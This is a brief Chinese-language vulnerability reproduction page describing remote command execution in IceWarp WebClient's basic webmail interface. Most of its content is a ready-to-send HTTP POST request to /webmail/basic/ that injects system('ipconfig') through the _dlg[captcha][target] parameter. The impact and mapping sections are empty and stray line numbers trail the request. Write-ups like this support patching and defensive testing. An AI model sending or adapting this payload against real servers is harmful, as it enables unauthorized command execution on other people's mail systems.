# IceWarp WebClient basic 远程命令执行漏洞
# 漏洞描述
IceWarp WebClient 存在远程命令执行漏洞，攻击者构造特殊的请求即可远程命令执行
# 漏洞影响
# 网络测绘
# 漏洞复现
登录页面如下
漏洞请求包为
POST /webmail/basic/ HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43
_dlg[captcha][target]=system(\'ipconfig\')\
1
2
3
4
5
6
7
2
3
4
5
6
7
